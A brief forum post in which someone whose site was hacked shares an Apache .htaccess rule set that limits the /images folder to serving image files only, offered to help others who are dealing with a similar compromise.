One other thing we did to address this issue s we added a .htaccess file to our /images file that allowed only image files to be accessed there:

Code:
<Files *>
 Order  deny,allow
 Deny from all
</Files>
<FilesMatch "\.(jpg|gif|png|JPG|PNG|GIF|JPEG|jpeg)$">
 Order  allow,deny
 Allow from all
</FilesMatch>

Hopefully this will help someone else who gets hacked to find their problem a little faster.
 
Back
Top